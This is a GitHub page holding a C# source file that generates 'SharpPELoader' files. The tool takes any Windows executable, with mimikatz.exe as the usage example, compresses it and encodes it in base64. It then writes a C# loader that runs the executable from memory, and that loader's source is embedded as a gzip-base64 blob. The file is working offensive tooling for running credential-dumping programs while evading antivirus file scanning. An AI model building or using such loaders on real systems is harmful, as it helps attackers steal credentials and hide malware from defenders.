forked from 3gstudent/Homework-of-C-Sharp
-
Notifications
You must be signed in to change notification settings - Fork 0
/
SharpPELoaderGenerater.cs
221 lines (198 loc) · 22.7 KB
/
SharpPELoaderGenerater.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
namespace GenerateSharpPELoader
{
class Program
{
static byte[] Compress(byte[] raw)
{
using (MemoryStream memory = new MemoryStream())
{
using (GZipStream gzip = new GZipStream(memory,
CompressionMode.Compress, true))
{
gzip.Write(raw, 0, raw.Length);
}
return memory.ToArray();
}
}
static byte[] Decompress(byte[] gzip)
{
using (GZipStream stream = new GZipStream(new MemoryStream(gzip), CompressionMode.Decompress))
{
const int size = 4096;
byte[] buffer = new byte[size];
using (MemoryStream memory = new MemoryStream())
{
int count = 0;
do
{
count = stream.Read(buffer, 0, size);
if (count > 0)
{
memory.Write(buffer, 0, count);
}
}
while (count > 0);
return memory.ToArray();
}
}
}
static void Main(string[] args)
{
string Usage = @"
SharpPELoaderGenerater
Use to generate SharpPELoader.cs
Modified by 3gstudent
Reference:Casey Smith's PELoader.cs
Usage:
SharpPELoaderGenerater.exe <exe path>
Eg.
SharpPELoaderGenerater.exe mimikatz.exe
SharpPELoaderGenerater will determine whether the exe is 32-bit or 64-bit and then generate the corresponding code.
";
if(args.Length !=1)
{
Console.WriteLine(Usage);
Environment.Exit(0);
}
PELoader pe = new PELoader(args[0].ToString());
if (pe.Is32BitHeader)
{
Console.WriteLine("[+] 32 bit of PE");
Console.WriteLine("[*] Try to generate SharpPELoader_x86.cs");
string source1compress_x86 = @"H4sIAAAAAAAEAO1d7XPautL/3pn+D5p8uBdOOU4gNDdtTjsPISTN3CQwQNtzb9vJGFsEt8bmsU0STqf/+7MryUa25bdAnpwPYToNyNLqt6vVavW23v3t5YvRTPcWg96Fq5vUe/ni0jWtqUVNMlmR/Rs/WJrUCV6+GNIp9ahj0Ldd3acrMppbweyfPgkLaob/8sV4RonvLj2DEsM14ftysfDcgLS1PeJ6xNYDyIjZLD+eYV97ncoA/3Sy3/p9YgXklnq+5TrwqOvOF7ZF38K3t18/W47p3vlfLy3Dc313GmhXvfHXU0+f0zvX+/H1FirW9vf2m2++Gr6h0XtKdpeOr0/h7wIqm7re/O394QGJyeAaUhg7rleuFkD/IPq/7b58sfQt54aMVn5A50fxn9p5P52ioQA86qM4kk/H9D5IpnVd26ZGALl97Yw61LOMZJbh0gmsOdXOHZC+uxhR79YyqA/ZXr5wgEl/oUODrjXk58sXBD6GrfvQ/p57A5LgSeIJfvxADywDlCigX76RE2oI2DWRcvOXtaivs0sl8cPx1c7+ay1GgUf1OdBjf94Rh96RdXoNf17SueutRAIj3CCSmECjqbZGUK/H60pUzVgDaQXEcgLiW39RqLS99+bgKJ1P8DJZTqFzCGwsDYt9UxQQfMmAyZz9EKVjrCSRZqDFD2I1XGhIoLOnqBg/pqtOzyDJBcFJculrQ6qbNc5tg+w1mHTqGbUxVFNS4yTekz0FMyUQ4IdLSPvsWQGVq2ek8+r/pX6UkXw3s2wqA86g7NFg6TkhqrHb8Tx9VVPlTlQk/fyFnSv8sVhObOgrosvcupZJLnXLqWX3D6F4p547PwZzfNCG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z9iRjf25o8IDQskFP0SbflsWJ8N67NhfTasJQxrMlkyq5FVKTSdKeMp3lQzTsMcv68pTE8pm6oz+0B0PMYdzxS+ZkkAl/ovHwQulcHtxzxAYKq+gbDf4gB5+P4lFkwR32uyWBGY5bhLbs5N9uIL+OaQpbOAolbCZp11P/AAkVGcyDBF468WmXA7HqayA+uAwUm/DGeM9UTB1TH23Tgr8PpM1GCaoNqcmggZV49Cso9Tke5EqVOP0lpaNuIUsIwheVxWoQsT17VJzLBlNvZN0t4rOoc4Ri3ZV6B8Pr6+7HQ/nF/1ovVEhcoL/LXMsv8g0jtlEuep6xhMMavkUcX+kV4IWFe8kXQEi8plBRWy8EfOVPqMBj4fkMN5fullD5nZ9GpDMhbjNhjPWcH4W7EPg2E/MTpun/3YYkke+zGkqaUMRVzhbWBVr5BUgCusfvi6om1gkpZhEkAUUER4yy4Gslz3cvF6Rx7eMh3Fk2f6mT1msgsJ63c7RavZR4UFhr1Rb/ipF60055dQvx9KrA+XKBovsteOjRYPu+8hRPe3uvZxYtv8gmRt5wf1HGrvt3aUV1WYeHCrDNSIB3Ylije/EXvBgsHy1yUwFBieX3yd2uI1bHhvFsboKHnguXjFNT4kq7Bppm3v4BwIZO8HPc9zcXaCAaAb7ILQiL0fQXzTPjoW7mmU5UcOZi3WIe0FDlxhMORS2NIwMLxzg/TuYbQdLajNjmmGoBWclIWbCOAsUmeXrrlER05wsIAs5fCXbvdYROC4ExVpAX/aCQDEZIn+n5yLtbp5x+7So5I2lCQiRQLuVDkwDupcRZfhC+8qqWlzeOex0KnbkFAYVEERylgpqBn3iWMgBQ3z7tICXfGp4TrxiHz1R7JF55eD/nB8fdIbdYfng3G/8DIxk3dfvBPl1PL8YDxbOslI3HLmEteEWT4Q3h1udHvQh6yMABYso+IKa4yOCpTks0bGMLwYy4Y1fEloNJCp21v0rvjrRKED/8/O/wFFOrbHU3oAAA==";
byte[] data1 = System.Convert.FromBase64String(source1compress_x86);
byte[] decompressed1 = Decompress(data1);
string source1_x86 = System.Text.Encoding.Default.GetString(decompressed1);
byte[] AsBytes1 = File.ReadAllBytes(args[0].ToString());
byte[] compress1 = Compress(AsBytes1);
string source2_x86 = Convert.ToBase64String(compress1);
string source3_x86 = "\";\r\n }\r\n } ";
StreamWriter sw1 = new StreamWriter(@"SharpPELoader_x86.cs");
sw1.Write(source1_x86 + source2_x86 + source3_x86);
sw1.Close();
}
else
{
Console.WriteLine("[+] 64 bit of PE");
Console.WriteLine("[*] Try to generate SharpPELoader_x64.cs");
string source1compress_x64 = @"H4sIAAAAAAAEAO1dW3PbOLJ+T1X+A8oPe6iJRrFkxevEk9SRZdnjWttSSUoyu5mUiyIhiwlFannxZVL576cbACmQBG+WfDwPVqViCQQaXzcajcat+fqXly8mC91bjQbnrm5S7+WLC9e05hY1yeye7F37QWhSJ3j5Ykzn1KOOQd/1dZ/ek8nSChb/45OoYMvwX76YLijx3dAzKDFcE76Hq5XnBqTb2iWuR2w9gIyYzfKTGfZabzIZ4J9O9ru/zqyA3FDPt1wHHvXd5cq26Dv49u7Pz5Zjurf+nxeW4bm+Ow9al4PpnyeevqS3rvd9v/vnDVTd2tvda7/90/CNFr2j5HXo+Poc/q6gurnrLd/d7XdJQgpXkMIYcr2q9QAHD6rhl9cvX4S+5VyTyb0f0OVh8mfrbJhNaaEQPOqjSNJPp/QuSKf1XdumRgC5/dYpdahnGZAllWkcOoG1pK0zB9rAXU2od2MZ1GcZHWDUX+nQrGs9+fHyBYGPYes+aIHnXoM0eJJ4gh8/0APLAFUK6Jev5JgaArgmUq7/slaNdXapJH44Pu30P9ZqEnhUXwI99uc9cegtWadr+POCLl3vXiQwwk0iCQr0mrbWCBqNZF2pqhlrIK+AWE5AfOsvCpV2d9/uH2bzCV5m4Ry6iMDG0rDYV0UBwZcMmCzZD1E6wUoaaQ5a/CBWw4WGBDq7iorxY7rq9BySXBCcJJd+a0x1U+PcNsluk0mnkVMbQzUnGifxgewqmKmAAD9cQq3PnhVQuXpGuqj+n+pHOcm3C8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ofiXaMtnw/psWJ8N67NhrWBY08mSWY2tSqnpzBhP8caYaRbm9IOmMD2VbKrO7APR8Rh3MlP0siMBXOq/fBC4UAaRnzaULxwgI2G/xQHy6C1ILI4ivmlkdU9gluOG3Jyb7H0U8M0hobOColbKZp32f+exIeMQkVFKi7/xY8bteJTKDqwDBif7Upop1hMHMcfId9O8AOcLUYNpgmpzaiJkXCMOfT7NxrnjpU48SrWsbMQpYBlD+risQhdmrmuThGHLbezrtL1XdA5xjFqyr0D5bHp10ev/fnY5iNcTFSov8Gu5Zf9BpFe9pM5TNzCMYl7Jw5r9I7sQsK54I+kIFpXLCipk0Y+CqfQpDXw+IEfz/MrLHjKz2dWGYWrU2gbjBSsYfyv2YTBMB6LcPvuJxZIi9hNIM0sZipDC28CqXiGpAVdY/egtQtvAJC3DpIAooIjwln0MZLnu5eI1izy8ZTaKJ8/0I3/MZBcS1q9cilezD0sLjAeTwfjTIF5pLi6hfm2TWB+uUDRZZLebGC0edt9DiO5vde3j2Lb5BUlt5zv1HGrvdXaUV1WYeHCrDNSIx3UlinexEXvFYsHyVx0wFBhiX3yd2+LFaHhvFsboOHnkuXjFNTkkq7C1TNvewTkQyN4PBp7n4uwEYz832QWhCXvHgfjW+uhYuKdRlR85jrVYh7RXOHBFcZArYcvCwMjOTTK4g9F2sqI2O6YZgVZwUhVuKnazSF1cuGaIjpzgYAVZquGv3O6JgMBJJyrWAv60FwCIWYj+n5yLtbp5y+7So5I2lSRiRQLuVDkwDupSRZfhi+4qqWlzeGeJ0KnbkFAUVEERylgpqAX3iRMgBQ3z9sICXfGp4TrJiHyNR7JFZxej4Xh6dTyY9Mdno+mw9DIxk/dQvM/kxPL8YLoInXQMbjlzhWvCLB8I7xY3uj3oQ1ZOAAuWUXGFNUFHBUryWWNjGF2MZcMavqwzHsjU7S16V/K1ntCB/3fn/wCpOUG/33kAAA==";
byte[] data2 = System.Convert.FromBase64String(source1compress_x64);
byte[] decompressed2 = Decompress(data2);
string source1_x64 = System.Text.Encoding.Default.GetString(decompressed2);
byte[] AsBytes2 = File.ReadAllBytes(args[0].ToString());
byte[] compress2 = Compress(AsBytes2);
string source2_x64 = Convert.ToBase64String(compress2);
string source3_x64 = "\";\r\n }\r\n } ";
StreamWriter sw2 = new StreamWriter(@"SharpPELoader_x64.cs");
sw2.Write(source1_x64 + source2_x64 + source3_x64);
sw2.Close();
}
Console.WriteLine("[+] All done.");
}
}
public class PELoader
{
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
/// <summary>
/// The DOS header
/// </summary>
private IMAGE_DOS_HEADER dosHeader;
/// <summary>
/// The file header
/// </summary>
private IMAGE_FILE_HEADER fileHeader;
public PELoader(string filePath)
{
// Read in the DLL or EXE and get the timestamp
try
{
using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
}
}
catch(Exception e)
{
Console.WriteLine("[!] {0}", e.Message);
Environment.Exit(0);
}
}
public static T FromBinaryReader<T>(BinaryReader reader)
{
// Read in a byte array
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
// Pin the managed memory while, copy it out the data, then unpin it
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public bool Is32BitHeader
{
get
{
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
}
public IMAGE_FILE_HEADER FileHeader
{
get
{
return fileHeader;
}
}
}//End Class
}